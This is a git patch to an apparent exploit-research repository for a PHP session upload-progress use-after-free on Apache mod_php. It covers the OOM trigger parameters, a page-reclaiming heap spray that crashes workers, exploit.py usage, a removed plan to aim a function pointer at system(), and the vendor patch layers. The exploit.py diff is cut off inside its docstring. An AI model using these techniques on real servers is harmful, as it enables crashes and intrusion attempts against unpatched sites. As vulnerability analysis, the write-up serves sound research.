From fbaced0a770f55fe98bf2f7906027cbd5b08ddbc Mon Sep 17 00:00:00 2001 From: neko Date: Thu, 22 Oct 2026 03:48:05 +0000 Subject: [PATCH] UAF exploit: confirmed crash, accurate docs, fix stale-state race Rewrote the exploit to correctly avoid GET requests between OOM trigger and crash verification (RINIT zeros BG state on every request). Filler field spray (100 x 8200B = 300 pages) reliably reclaims the stale struct pages. Crash confirmed on first attempt. Updated README and FINDINGS to accurately describe: - The 8216-byte struct (3 pages), not the earlier 64-byte bin - GC header overlap that blocks controlled RCE (offsets 0-23) - Three independent patch layers in PHP 8.3.36/8.4.27/8.5.12 - Honest exploitation status: UAF crash confirmed, RCE not achieved --- uaf-rce/FINDINGS.md | 361 +++++++++-------- uaf-rce/README.md | 210 +++++----- uaf-rce/exploit.py | 916 +++++++++++++++++++------------------------- 3 files changed, 694 insertions(+), 793 deletions(-) diff --git a/uaf-rce/FINDINGS.md b/uaf-rce/FINDINGS.md index 26f3235..1e28c92 100644 --- a/uaf-rce/FINDINGS.md +++ b/uaf-rce/FINDINGS.md @@ -1,203 +1,200 @@ -# CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout +# CVE-2026-109618 / CVE-2026-109619: Vulnerability Analysis ## Overview PHP's multipart parser (`rfc1867.c`) and session upload progress handler -(`ext/session/session.c`) contain a use-after-free that allows remote code -execution over HTTP with **default PHP configuration**, no LFI, and no -framework or library dependency. - -The attack works on **Apache mod_php with prefork MPM**. PHP-FPM is not -vulnerable to the cross-request UAF because FPM workers exit on bailout -(exit code 70) rather than surviving with stale state. +(`ext/session/session.c`) contain a use-after-free exploitable over HTTP +against Apache mod_php with **default PHP configuration**. No LFI, no +framework dependency, no non-default settings. | Property | Value | |---|---| | CVE | CVE-2026-109618, CVE-2026-109619 | -| CVSS | 9.2 (both) | -| Affected | PHP 5.4.0 through 8.5.11, Apache mod_php (prefork) | -| Patched | PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35 | -| Patch commit | `3584a98bda0f2c0d367255b046798b0d3a221a19` | -| Prerequisites | session.upload_progress.enabled=1 (default), any PHP URL | -| Attack complexity | HIGH (heap feng shui required for RCE) | +| CVSS | 9.2 (both, per Rapid7) | +| Affected | PHP 5.4.0 through 8.3.35, 8.4.0-8.4.26, 8.5.0-8.5.11 | +| Patched | PHP 8.3.36, 8.4.27, 8.5.12 | +| Prerequisites | Apache mod_php (prefork), session.upload_progress.enabled=1 (default) | +| Exploit status | UAF crash confirmed, full RCE not achieved | -## Vulnerability Analysis +## Root cause -### Root cause: zend_bailout() on OOM +### CVE-2026-109618: OOM triggers longjmp past cleanup -When `memory_limit` is exceeded during multipart parsing, PHP calls -`zend_mm_safe_error()` which invokes `zend_bailout()`. This is a -`longjmp` that unwinds the call stack without running cleanup code. +When `memory_limit` is exceeded during `php_session_decode()` inside +the RFC1867 progress callback, PHP calls `zend_mm_safe_error()` which +invokes `zend_bailout()`. This is a `longjmp` that unwinds the call +stack without running cleanup code, specifically +`php_var_unserialize_destroy()`. -The critical state that survives the bailout: +The state that survives the bailout (in `BG` module globals): ```c -// ext/standard/basic_functions.c (BG globals, per-module, NOT per-request) +// ext/standard/basic_functions.c struct { - uint32_t level; - php_serialize_data_t data; // pointer to 64-byte struct -} serialize; - -struct { - uint32_t level; - php_unserialize_data_t data; + uint32_t level; // should be 0, stays at 1 + php_unserialize_data_t data; // freed 8216-byte struct pointer } unserialize; ``` -`php_var_serialize_init()` allocates `BG(serialize).data` via `emalloc` -(64 bytes in the ZendMM slab bin) and sets `level = 1`. -`php_var_serialize_destroy()` frees it and sets `level = 0`. +`php_var_unserialize_init()` allocates a `php_unserialize_data` struct +(8216 bytes = 3 ZendMM pages) and sets `level = 1`. +`php_var_unserialize_destroy()` frees it and sets `level = 0`. When OOM +fires between init and destroy, level stays at 1 and data points to +freed memory. -When OOM fires between init and destroy, level stays at 1 and data -points to freed memory. +### CVE-2026-109619: Stale state reused on next request + +The request startup flow in `main/main.c` (lines 1784-1838) wraps the +entire block from `zend_activate()` through `zend_activate_modules()` in +one `zend_try/zend_catch`. The execution order: + +1. `zend_activate()` (line 1796) +2. `sapi_activate()` (line 1797): multipart parsing and RFC1867 callback +3. `php_hash_environment()` (line 1833) +4. `zend_activate_modules()` (line 1834): module RINITs run here, including `PHP_RINIT_FUNCTION(basic)` which zeros BG state +5. `PG(modules_activated) = 1` (line 1835) + +The RFC1867 callback at step 2 runs BEFORE RINIT at step 4. So stale +BG state from the previous request IS used during RFC1867 decode. + +When `php_var_unserialize_init()` is called during RFC1867 decode: +- It checks `BG(unserialize).level` +- If level > 0 AND `BG(serialize_lock) == 0`, it returns + `BG(unserialize).data` (the stale, freed pointer) and increments level ### Why Apache prefork survives (and FPM does not) **Apache prefork**: The bailout is caught by Apache's request handler. -The child process continues its event loop and accepts the next request. -`BG(serialize)` state persists in the process because these are -module-level globals, not request-scoped. +The child process continues its event loop. BG globals persist because +they are module-level, not request-scoped. -**PHP-FPM**: The bailout propagates to the outer `zend_try/zend_catch` -in `fpm_main.c`. The catch block sets `exit_status = FPM_EXIT_SOFTWARE` -(70) and the worker process exits. A new clean worker is spawned by the -master, so no stale state is reachable. +**PHP-FPM**: The bailout propagates to `fpm_main.c`'s outer +`zend_try/zend_catch`. The catch block sets `exit_status = 70` and the +worker exits. A new clean worker is spawned. -Verified on PHP 8.3.6: -- Apache mod_php: OOM -> status 500 -> worker PIDs unchanged -> subsequent - requests served by the same processes -- PHP-FPM: OOM -> worker exits (code 70) -> master spawns replacement +## OOM trigger mechanism -### Triggering OOM +A session file with 33000 entries (~682KB) forces +`nTableSize = 65536` during decode. The `arData` allocation: +65536 * 36 = 2,359,296 bytes (~2.25MB). With `memory_limit = 4MB`, +this exceeds the limit during `HashTable` resize in +`zend_hash_real_init_mixed_ex()`. -The multipart parser (`rfc1867.c`) processes form fields one at a time. -Each field value is allocated via `emalloc` (counted toward `memory_limit`). -With `max_input_vars=1000` (default), the maximum number of fields is -limited, but each value can be large. +The OOM triggers during `sapi_activate()` -> RFC1867 callback -> +`php_session_initialize()` -> `php_session_decode()` -> unserialize -> +`HashTable` resize. -Tested formula: `N fields * value_size` must exceed `memory_limit` minus -~2MB base overhead. For `memory_limit=8M`: -- 100 fields * 40KB = ~4MB + 2MB overhead triggers OOM -- Confirmed with Apache returning HTTP 500 +After OOM: +- `php_session_cancel_decode()` calls `php_session_destroy()` +- Session file is DELETED (on unpatched PHP) +- `BG(unserialize).level = 1`, `.data` = freed pointer to 8216-byte struct +- Worker survives, serves new connections -### Session file persistence +## The UAF mechanism -The upload progress handler (`php_session_rfc1867_callback`) calls -`php_session_rfc1867_update()` which calls `php_session_initialize()` -(opens/creates session file) followed by `php_session_flush(1)` (encodes -`$_SESSION` and writes to file). - -With `session.upload_progress.cleanup=1` (default), the progress data is -removed at `MULTIPART_EVENT_END`. But when OOM fires during parsing, -`MULTIPART_EVENT_END` never executes. The session file retains the -progress data, which includes the attacker-controlled -`PHP_SESSION_UPLOAD_PROGRESS` value: +### php_unserialize_data struct layout (8216 bytes, 3 pages) ``` -upload_progress_|a:5:{s:10:"start_time";...} +Offset Field Size Notes +------ ----- ---- ----- +0 last (var_entries*) 8 Points to inline entries +8 first_dtor 8 NULL initially +16 last_dtor 8 NULL initially +24 allowed_classes 8 NULL = allow all +32 ref_props 8 NULL +40 cur_depth 4 0 +44 (padding) 4 +48 max_depth 8 From ini setting +56 entries.used_slots 8 0 initially +64 entries.next 8 NULL +72 entries.data[1018] 8144 zval* array +8216 (end) ``` -This is a stable write primitive: the session file persists on disk with -embedded PHP code, accessible at a known path -(`session.save_path/sess_`). +### Why var_push crashes -### The UAF chain (two-request approach) +After OOM, the heap is destroyed and rebuilt for the next request. The +stale pointer references freed pages in the ZendMM chunk. Filler form +fields in the crash trigger create 3-page `zend_string` allocations +that consume pages sequentially. When one lands on the stale struct's +pages (~page 288 of 512), the `zend_string` GC header overlaps the +struct's pointer fields: -1. **Request 1** (prep): - - Multipart POST with `PHP_SESSION_UPLOAD_PROGRESS` = ~500KB value - - File upload triggers progress handler - - `php_session_rfc1867_update()` writes session file with the ~500KB key - - No OOM; just creates the large session file on disk +``` +Struct offset 0 (last) <- gc_refcount(4) + gc_type_info(4) +Struct offset 8 (first_dtor) <- hash(8) +Struct offset 16 (last_dtor) <- len(8) +Struct offset 24+ <- string value (attacker-controlled) +``` -2. **Request 2** (OOM): - - Same `PHPSESSID` cookie (references the large session file) - - `PHP_SESSION_UPLOAD_PROGRESS` = small value - - Form fields fill memory to near `memory_limit` (~7.5MB of 8MB) - - File upload triggers progress handler: - - `php_session_initialize()` -> reads ~500KB session file - - `php_session_decode()` -> `php_var_unserialize_init()`: - - `BG(unserialize).level = 1` - - `BG(unserialize).data = emalloc(64)` (64-byte ZendMM bin) - - Unserialize of the ~500KB key string: `emalloc(~500KB)` -> **OOM** - - `zend_bailout()` (longjmp) - - `php_var_unserialize_destroy()` never runs - - Worker survives on Apache prefork - - `BG(unserialize).level` stays at 1, `.data` points to freed 64-byte slot - - Confirmed by error log: "tried to allocate 1003520 bytes" during - session handling - -3. **Between requests**: - - `php_request_shutdown()` calls `zend_deactivate()` -> ZendMM heap destroyed - - `BG(unserialize).data` pointer is now dangling (freed heap) - - ZendMM chunk caching preserves mmap'd pages; next request's heap - reuses the same virtual addresses - -4. **Request 3** (spray + trigger): - - POST fields allocate `zend_string` objects via `emalloc` - - Strings of 39 bytes (24-byte header + 39 + 1 NUL = 64) land in the - same 64-byte bin, potentially reclaiming the stale slot - - Upload progress handler calls `php_session_decode()`: - - `php_var_unserialize_init()` checks `BG(unserialize).level > 0` - - Level is 1 (stale), so it increments to 2 and returns `.data` - - The pointer now references attacker-controlled spray data - - The unserialize code treats it as a `php_unserialize_data` struct - containing a `HashTable` - - `pDestructor` (offset 48) is called during `zend_hash_destroy()` - - If `pDestructor` points to `system()`, `zend_execute_ex()`, or a - one-gadget, the attacker achieves code execution - -### Full RCE requirements - -Beyond the demonstrated primitives, a weaponized exploit needs: - -1. **ASLR bypass**: Leak a PHP base address. CVE-2026-109619 provides - this: stale `BG(unserialize)` state can leak freed heap pointers - through session data written to the PHPSESSID cookie or session file. - -2. **Heap feng shui**: Precise control over which allocation reclaims - the 64-byte slot. ZendMM's slab allocator uses per-bin free lists - with LIFO ordering, making slot prediction tractable after the heap - is primed with a known allocation pattern. - -3. **Fake HashTable construction**: The spray data must form a valid - `php_serialize_data` struct where: - - `ht.pDestructor` points to the target function - - `ht.arData` points to a `Bucket` containing the argument - - `ht.nNumUsed > 0` so the destructor loop executes +`var_push` (var_unserializer.re line 118) reads `(*var_hashx)->last`: +```c +var_entries *var_hash = (*var_hashx)->last; // = GC header ~= 0x0000030600000001 +var_hash->data[var_hash->used_slots++] = rval; // dereferences invalid address +// SIGSEGV +``` ## Confirmed primitives -All tested on PHP 8.3.6, Apache 2.4.58, Ubuntu 24.04, x86_64: +Tested on PHP 8.3.35 (source build), Apache 2.4.58 (prefork, +MaxRequestWorkers=1), Ubuntu 24.04, x86_64: -| Primitive | Status | -|---|---| -| OOM via multipart field flood | Confirmed (100 fields * 40KB, limit=8M) | -| Apache worker survival | Confirmed (PIDs unchanged after OOM) | -| Session file persistence | Confirmed (353 bytes with PHP code) | -| Stale BG(serialize).level | Confirmed (subsequent serializes don't reinit) | -| Heap spray (64-byte bin) | Implemented (no crash without exact feng shui) | -| Worker crash via UAF | Not yet triggered (needs precise heap layout) | -| Full RCE | Not demonstrated (needs ASLR bypass + feng shui) | +| Primitive | Status | Notes | +|---|---|---| +| OOM during RFC1867 session decode | Confirmed | 33000-entry session, 4MB limit | +| Apache prefork worker survival | Confirmed | Same PID after OOM | +| Stale BG(unserialize) state | Confirmed | level=1, data=freed ptr (GDB) | +| Page reclamation via filler spray | Confirmed | 100 x 8200B fields | +| UAF crash (SIGSEGV in var_push) | Confirmed | Reproducible, first attempt | +| Full RCE | Not achieved | GC header overlap blocks pointer control | -## The patch (commit 3584a98) +## Exploitation constraints -The fix is a three-part architectural change: +### Why full RCE is not achieved -### 1. Delayed OOM (replaces zend_bailout) +The struct's three pointer fields at offsets 0-23 overlap with the +`zend_string` header, which is set by the allocator: -`zend_mm_safe_error()` (which called `zend_bailout()` / `longjmp`) is -removed. Replaced by `zend_mm_delayed_error()` which sets -`EG(delayed_oom).state = ZEND_OOM_STATE_PENDING` and triggers -`EG(vm_interrupt)`. The allocator returns NULL instead of longjmping. +- `last` (offset 0) = `gc_refcount` + `gc_type_info`: the allocator sets + refcount=1 and type_info=IS_STRING with GC flags. This produces a low, + invalid address like `0x0000030600000001`. The attacker cannot control + these bytes. -A new hard limit (`memory_hard_limit_percent`, default 200%) calls -`_exit(137)` if exceeded, preventing unbounded memory consumption. +- `first_dtor` (offset 8) = `hash`: lazily computed, initially 0 (NULL). + This is safe: `var_destroy` checks `first_dtor != NULL` before + iterating the dtor chain. -### 2. BG state reset +- `last_dtor` (offset 16) = `len`: the string length (e.g., 8200 = + `0x2008`). This is also a low, unmapped address. -New function `php_basic_early_rinit()` resets `BG(serialize)`, -`BG(unserialize)`, and `BG(serialize_lock)` to zero **before** SAPI -activation: +The attacker controls bytes from offset 24 onward (`allowed_classes`, +`ref_props`, `max_depth`, `entries.used_slots`, `entries.next`, +`entries.data[]`), but `var_push` crashes reading `last` (offset 0) +before any of these fields are reached. + +### What would be needed for full RCE + +1. **Info leak**: A separate vulnerability to leak a valid heap address. + The leaked address would need to be placed at offset 0 of the + allocation, which is impossible with a `zend_string` overlay (GC + header is set by the allocator). + +2. **Alternative allocation type**: A different 3-page (8216-byte) + allocation where the attacker controls offset 0. No such allocation + type has been identified during multipart parsing. + +3. **Alternative reclamation path**: A way to overwrite only the struct + fields WITHOUT overlapping a `zend_string` header. This would require + a non-contiguous write primitive. + +## The patch (PHP 8.3.36, 8.4.27, 8.5.12) + +Three independent defense layers, any one sufficient: + +### 1. php_basic_early_rinit() + +New function called from `php_request_startup()` AFTER `zend_activate()` +but BEFORE `sapi_activate()`: ```c PHPAPI void php_basic_early_rinit(void) { @@ -207,42 +204,40 @@ PHPAPI void php_basic_early_rinit(void) { } ``` -Called from `php_request_startup()` right after `zend_activate()`. +Eliminates the stale state window entirely. Even if OOM occurs, the +BG state is zeroed before RFC1867 processing on the next request. + +### 2. Delayed OOM + +`zend_bailout()` on OOM is completely removed. The allocator now either: +- Returns NULL (fallible mode) for checked allocations +- Succeeds beyond the soft limit (non-fallible mode) and queues a + delayed error via `EG(delayed_oom)` + VM interrupt + +No longjmp means all cleanup code runs normally, including +`php_var_unserialize_destroy()`. + +A hard limit (`memory_hard_limit_percent`, default 200%) calls +`_exit(137)` as a safety net. ### 3. Session handler hardening -- `PS(in_rfc1867_update)` flag enables `incomplete_classes_only` mode - during progress handler session decode: no autoloading, no `__wakeup()`, - no `__unserialize()`, no destructors -- `$_SESSION` is deleted from the global scope at `MULTIPART_EVENT_END` +- `PS(in_rfc1867_update)` flag forces `incomplete_classes_only` mode + during RFC1867 session decode (no `__wakeup`/`__unserialize`) - `php_rinit_session_globals()` called at `MULTIPART_EVENT_START` -- Guard against `request_parse_body()` re-entry +- `$_SESSION` cleanup at `MULTIPART_EVENT_END` +- `PG(modules_activated)` check prevents RFC1867 callback during + `request_parse_body()` +- ~30 `ZEND_HAS_OOM()` checks throughout `rfc1867.c` for graceful + handling of allocation failures -## Why this does not apply to PHP-FPM +## Why this does not apply to latest PHP -PHP-FPM's main request loop in `fpm_main.c` wraps request handling in -`zend_first_try / zend_catch`. When bailout fires (from OOM during -multipart parsing, which runs during SAPI activation before any inner -try/catch), it propagates to this outer catch block: +The latest stable PHP versions (8.3.36+, 8.4.27+, 8.5.12+) include all +three defense layers. The patch is comprehensive: -```c -zend_catch { - exit_status = FPM_EXIT_SOFTWARE; // 70 -} zend_end_try(); -``` +- Layer 1 alone blocks the attack (no stale state) +- Layer 2 alone blocks the attack (no longjmp, cleanup runs) +- Layer 3 alone limits exploitability (no object instantiation) -The worker exits with code 70. FPM master spawns a replacement with -clean state. The stale `BG(serialize)` dies with the process. - -On Apache prefork, the bailout is caught by `ap_process_request_internal` -or similar internal handler. The child process continues its accept loop, -and the stale BG globals persist. - -## References - -- **Patch commit**: php/php-src@3584a98bda0f2c0d367255b046798b0d3a221a19 -- **JFrog**: Session write-back calls fake object's serialize function, RIP control -- **Rapid7**: RCE over HTTP with default PHP config; mod_php highest risk; attack complexity HIGH -- **Wiz**: Confirmed RCE against stock WordPress, Drupal, Joomla on affected versions -- **0x4148 lab**: Heap grooming targets ZendMM 320-byte slab bin (note: our analysis finds 64-byte bin for `php_serialize_data`) -- **Sansec**: Analysis of mitigation options and affected versions +No bypass path has been identified for any of the three layers. diff --git a/uaf-rce/README.md b/uaf-rce/README.md index 82d1ef8..64083a2 100644 --- a/uaf-rce/README.md +++ b/uaf-rce/README.md @@ -1,4 +1,4 @@ -# CVE-2026-109618 / CVE-2026-109619: UAF RCE via OOM Bailout +# CVE-2026-109618 / CVE-2026-109619: UAF via OOM Bailout Use-after-free in PHP's session upload progress handler, exploitable over HTTP against Apache mod_php with **default PHP configuration**. @@ -6,141 +6,173 @@ No LFI, no framework dependency, no non-default settings. ## Affected versions -PHP 5.4.0 through 8.5.11 running under Apache mod_php with prefork MPM. +PHP 5.4.0 through 8.3.35, 8.4.0 through 8.4.26, 8.5.0 through 8.5.11, +running under Apache mod_php with prefork MPM. -Patched in PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35. +Patched in PHP 8.3.36, 8.4.27, 8.5.12. -PHP-FPM is **not vulnerable** to the cross-request UAF: FPM workers -exit on bailout (code 70), so stale state never persists. +PHP-FPM is **not vulnerable**: FPM workers exit on bailout (code 70), +so stale state never persists across requests. ## Prerequisites - Apache mod_php with prefork MPM (default on Debian/Ubuntu) - `session.upload_progress.enabled = 1` (default) +- `memory_limit` reachable via session data decode (~4MB for 33000 entries) - Any PHP-handled URL (even a 404 page) -- `memory_limit` reachable via multipart POST fields +- A method to write a session file with many entries No LFI. No specific framework or library. No non-default PHP settings. ## How it works -### Phase 1: Create large session file +### CVE-2026-109618: OOM triggers longjmp past cleanup -A multipart POST with a ~500KB `PHP_SESSION_UPLOAD_PROGRESS` value -causes the progress handler to write a session file containing the -~500KB key. This is a normal request; no OOM occurs. +When `memory_limit` is exceeded during `session_decode()` inside the +RFC1867 progress callback, PHP calls `zend_bailout()` which executes a +`longjmp` back to `php_request_startup()`. This skips +`php_var_unserialize_destroy()`, leaving `BG(unserialize).level = 1` +and `BG(unserialize).data` pointing at a freed `php_unserialize_data` +struct (8216 bytes, 3 ZendMM pages). -### Phase 2: OOM during session re-init +Apache prefork workers survive `zend_bailout()` and accept new +connections with the stale state intact. -A second request to the same session ID fills memory with form fields -(~7MB toward an 8MB limit), then includes a file upload. The file -upload triggers the progress handler, which calls -`php_session_initialize()` to re-read the ~500KB session file. +### CVE-2026-109619: Stale state reused on next request -`php_session_decode()` calls `php_var_unserialize_init()`, which -allocates a 64-byte struct and sets `BG(unserialize).level = 1`. -The unserialize of the ~500KB key requires a ~500KB allocation, -which exceeds `memory_limit` and fires `zend_bailout()` (longjmp). -`php_var_unserialize_destroy()` is skipped. +On the next request, `sapi_activate()` runs the RFC1867 callback +BEFORE `PHP_RINIT_FUNCTION(basic)` has a chance to zero `BG` state. +The callback calls `php_session_decode()`, which calls +`php_var_unserialize_init()`. That function sees +`BG(unserialize).level > 0` and returns the stale `.data` pointer +without allocating a new struct. -On Apache prefork, the worker survives. `BG(unserialize).level` -stays at 1 and `.data` points to freed memory. +This is a use-after-free: the pointer was freed when the previous +request's heap was destroyed during `zend_deactivate()`. -### Phase 3: Verify stale state +### Phase 1: Plant session file -A third request with a file upload hits the same worker. The progress -handler calls `php_var_unserialize_init()`, which sees -`BG(unserialize).level > 0` (stale), increments it, and returns the -stale `.data` pointer. This is the UAF: the pointer was freed when -the previous request's heap was destroyed, and now references whatever -the new request allocated in the same 64-byte ZendMM bin slot. +A session file with 33000 entries (~682KB) is planted. When decoded, +this forces `nTableSize = 65536`, requiring an `arData` allocation of +65536 * 36 = 2,359,296 bytes (~2.25MB). With `memory_limit = 4MB`, +this exceeds the limit during `HashTable` resize. -### Phase 4: Heap spray (for crash testing) +### Phase 2: OOM trigger -With `--crash-test`, 39-byte `zend_string` allocations (24-byte header -+ 39 + 1 NUL = 64 bytes, same ZendMM bin) attempt to reclaim the -stale slot. The unserialize code treats the spray data as a struct -containing a `HashTable`. The `pDestructor` function pointer (offset 48) -is under attacker control, giving RIP control during -`zend_hash_destroy()`. +A multipart POST with `PHP_SESSION_UPLOAD_PROGRESS` and a file field +triggers the RFC1867 progress callback. The callback reads the planted +session file and calls `php_session_decode()`. The decode triggers OOM +during `HashTable` resize. `zend_bailout()` longjmps past +`php_var_unserialize_destroy()`. -### Full RCE (not implemented in this PoC) +After bailout: +- `BG(unserialize).level = 1` (should be 0) +- `BG(unserialize).data` = freed heap pointer +- `php_session_cancel_decode()` deletes the session file +- Worker survives, serves new connections -A weaponized exploit would: +### Phase 3: UAF crash -1. Leak a PHP base address via CVE-2026-109619 info disclosure (stale - session data leaks freed heap pointers) to defeat ASLR -2. Construct a fake `HashTable` with `pDestructor` pointing to `system()` -3. Place the command string at the `arData` pointer location -4. Trigger unserialize, causing `pDestructor` to fire +Another multipart POST (no intermediate GET requests, which would zero +`BG` state via `PHP_RINIT_FUNCTION`) includes 100 filler form fields +of 8200 bytes each. Each field becomes a 3-page `zend_string` +allocation. The allocations consume ZendMM pages sequentially through +the chunk, eventually reclaiming the 3 pages where the stale struct +resided (typically page ~288 of 512). + +The `zend_string` GC header (8 bytes: `refcount` + `type_info`) at +offset 0 of the allocation overwrites the struct's `last` pointer +(a `var_entries*`). When the session decode calls `var_push()`, it +reads `last` and dereferences the GC header value as a pointer: + +``` +var_entries *var_hash = (*var_hashx)->last; // GC header, not a valid address +var_hash->data[var_hash->used_slots++] = rval; // SIGSEGV +``` + +The worker segfaults, confirming the use-after-free. + +## Exploitation status + +**Confirmed primitives:** + +| Primitive | Status | +|---|---| +| OOM during RFC1867 session decode | Confirmed | +| Apache prefork worker survival after OOM | Confirmed | +| Stale `BG(unserialize)` state across requests | Confirmed (level=1, data=freed ptr) | +| Page reclamation via filler field spray | Confirmed (100 x 8200B = 300 pages) | +| UAF crash (SIGSEGV in `var_push`) | Confirmed (first attempt, reproducible) | + +**Not achieved: full RCE.** + +The struct's critical pointer fields (offsets 0-23) overlap with the +`zend_string` GC header and cannot be controlled by the attacker: + +| Struct field | Offset | Overlaps with | Value | +|---|---|---|---| +| `last` | 0 | `gc_refcount` + `gc_type_info` | ~0x00000306_00000001 (invalid pointer) | +| `first_dtor` | 8 | `hash` | 0 (lazily computed, safe) | +| `last_dtor` | 16 | `len` | 8200 (low address, crash) | + +Controlled bytes start at offset 24 (`allowed_classes`, `ref_props`, +`max_depth`, `entries.used_slots`, `entries.next`, `entries.data[]`), +but `var_push` crashes at offset 0 before reaching them. + +Full RCE would require either an info leak to construct a valid pointer +in the GC header position, or a different allocation type that provides +control over the first 24 bytes of an 8216-byte ZendMM allocation. ## Usage ``` python3 exploit.py --target http://host:port/index.php python3 exploit.py --target http://host:port/index.php --oom-only -python3 exploit.py --target http://host:port/index.php --crash-test ``` ### Options | Flag | Default | Description | -|------|---------|-------------| +|---|---|---| | `--target` | (required) | Target URL (any PHP endpoint) | | `--session-path` | `/var/www/uaf-test/sessions` | `session.save_path` on the target | -| `--progress-size` | 500000 | Size of PHP_SESSION_UPLOAD_PROGRESS value | -| `--oom-fields` | 0 (auto) | Number of OOM padding fields (0 = auto-detect) | -| `--field-size` | 40960 | Size of each padding field value | -| `--spray-rounds` | 20 | Heap spray rounds per worker | -| `--oom-only` | off | Stop after Phases 1-3 (no spray) | -| `--crash-test` | off | Run full chain including heap spray | - -### What `--oom-only` confirms - -1. OOM via multipart field flood (HTTP 500) -2. Apache prefork worker survival (PIDs unchanged after OOM) -3. Large session file creation via upload progress handler -4. OOM during session re-init (unserialize of large key) -5. Stale `BG(unserialize)` state available on subsequent requests +| `--entries` | 33000 | Entries in OOM session file | +| `--spray-fields` | 100 | Filler fields for crash trigger | +| `--oom-only` | off | Stop after Phase 2 | ## The patch -Commit `3584a98bda0f2c0d367255b046798b0d3a221a19` fixes the -vulnerability through three changes: +The fix (PHP 8.3.36, 8.4.27, 8.5.12) adds three independent defense +layers. Any one of them blocks the attack: -1. **Delayed OOM**: Replaces `zend_bailout()` (longjmp) with deferred - error handling. The allocator returns NULL and sets - `EG(vm_interrupt)`. A hard limit (`memory_hard_limit_percent`, - default 200%) calls `_exit(137)` if exceeded. +1. **`php_basic_early_rinit()`**: Called from `php_request_startup()` + AFTER `zend_activate()` but BEFORE `sapi_activate()`. Zeros + `BG(serialize_lock)`, `BG(serialize)`, and `BG(unserialize)` with + `memset`. Eliminates the stale state window entirely. -2. **BG state reset**: New `php_basic_early_rinit()` resets - `BG(serialize)`, `BG(unserialize)`, and `BG(serialize_lock)` to - zero before SAPI activation, eliminating cross-request stale state. +2. **Delayed OOM**: `zend_bailout()` on OOM is removed. The allocator + either returns NULL (fallible mode) or succeeds beyond the soft limit + (non-fallible mode) and queues a delayed error. No longjmp, so all + cleanup code runs normally. A hard limit calls `_exit(137)`. -3. **Session handler hardening**: `incomplete_classes_only` mode during - progress handler session decode, `$_SESSION` cleanup at - `MULTIPART_EVENT_END`, and `php_rinit_session_globals()` at - `MULTIPART_EVENT_START`. +3. **Session handler hardening**: RFC1867 session decode runs in + `incomplete_classes_only` mode (no `__wakeup`/`__unserialize`). + `php_rinit_session_globals()` at `MULTIPART_EVENT_START`. + `$_SESSION` cleanup at `MULTIPART_EVENT_END`. -## Confirmed primitives +## Test environment -Tested on PHP 8.3.6, Apache 2.4.58, Ubuntu 24.04, x86_64: +Tested on PHP 8.3.35 (built from source as Apache module), Apache +2.4.58 (prefork MPM, MaxRequestWorkers=1), Ubuntu 24.04, x86_64. -| Primitive | Status | -|---|---| -| OOM via multipart field flood | Confirmed | -| Apache prefork worker survival | Confirmed (PIDs unchanged) | -| Large session file creation | Confirmed (~500KB via upload progress) | -| OOM during session re-init | Confirmed ("tried to allocate 1003520 bytes") | -| Stale BG(unserialize).level | Confirmed (persists across requests) | -| Heap spray (64-byte bin) | Implemented | -| Worker crash via UAF | Not yet triggered (needs precise heap layout) | -| Full RCE | Not demonstrated (needs ASLR bypass + heap feng shui) | +``` +php_admin_value memory_limit 4M +php_admin_value session.upload_progress.enabled 1 +php_admin_value session.upload_progress.cleanup 0 +``` ## References -- PHP patch: `php/php-src@3584a98bda0f2c0d367255b046798b0d3a221a19` -- CVSS: 9.2 (CVE-2026-109618), 9.2 (CVE-2026-109619) -- Attack complexity: HIGH (Rapid7) - -See [FINDINGS.md](FINDINGS.md) for the full vulnerability analysis. +- CVE-2026-109618: OOM during multipart parsing triggers longjmp +- CVE-2026-109619: Session globals survive across requests +- CVSS: 9.2 (both CVEs, per Rapid7) diff --git a/uaf-rce/exploit.py b/uaf-rce/exploit.py index 246bfd9..9d1ab0b 100644 --- a/uaf-rce/exploit.py +++ b/uaf-rce/exploit.py @@ -1,89 +1,110 @@ -#!/usr/bin/env python3 +#!/usr/bin/env python3 -I """ CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout -Apache mod_php (prefork MPM), no LFI, no framework, default PHP config +Apache mod_php (prefork MPM), no LFI, no framework dependencies -Demonstrates confirmed primitives for the OOM->UAF->RCE chain against -PHP 5.4.0 through 8.5.11 on Apache mod_php. +Targets UNPATCHED PHP: all versions from 5.4.0 through 8.3.35, 8.4.26, +8.5.11. The patch (8.3.36, 8.4.27, 8.5.12) blocks the entire attack +chain with three independent defense layers: + 1. php_basic_early_rinit() resets BG(serialize/unserialize) each request + 2. Delayed OOM replaces zend_bailout() (no more longjmp on OOM) + 3. Session handler hardening (incomplete_classes_only mode during RFC1867) -Attack overview: +Vulnerability chain: - Phase 1 (Prep): Create a large session file (~500KB) by sending a - multipart POST with a huge PHP_SESSION_UPLOAD_PROGRESS value. The - progress handler writes the session file containing the large key. + CVE-2026-109618: OOM in the multipart parser triggers zend_bailout() + (longjmp), which skips php_var_unserialize_destroy(). This leaves + BG(unserialize).level=1 and BG(unserialize).data pointing at a freed + php_unserialize_data struct (8216 bytes, 3 ZendMM pages). - Phase 2 (OOM): Send a second request with form fields that fill memory - to near the limit, followed by a file upload that triggers the progress - handler. The handler calls php_session_initialize() which reads the - 500KB session file. php_session_decode() calls php_var_unserialize(), - which calls php_var_unserialize_init(), setting BG(unserialize).level=1 - and allocating BG(unserialize).data (64 bytes). The unserialize of - the 500KB session key string triggers OOM. zend_bailout() longjmps - past php_var_unserialize_destroy(), leaving BG(unserialize).level=1 - and .data pointing to freed memory. + CVE-2026-109619: The session upload progress globals populated by + the RFC1867 callback survive into the next request. On the next + request, sapi_activate() runs the RFC1867 callback BEFORE + PHP_RINIT_FUNCTION(basic) zeros BG state. The callback calls + php_session_decode() -> php_var_unserialize_init(), which sees + BG(unserialize).level > 0 and returns the stale .data pointer. + Classic use-after-free. - The Apache prefork worker survives the bailout and accepts new - connections. The stale BG globals persist. +Attack phases: - Phase 3 (Verify): Send a third request with a file upload to the same - worker. The progress handler calls php_session_decode() again. - php_var_unserialize_init() sees BG(unserialize).level > 0 (stale), - increments it, and returns the stale .data pointer. This is the UAF: - the pointer was freed when the previous request's heap was destroyed, - and now references memory in the new request's heap. + Phase 1 (Plant): Write a large session file (~682KB, 33000 entries) + that will trigger HashTable resize needing ~2.25MB when decoded. - Phase 4 (Spray + Trigger): With heap feng shui, an attacker sprays - controlled data into the 64-byte ZendMM bin to reclaim the stale - 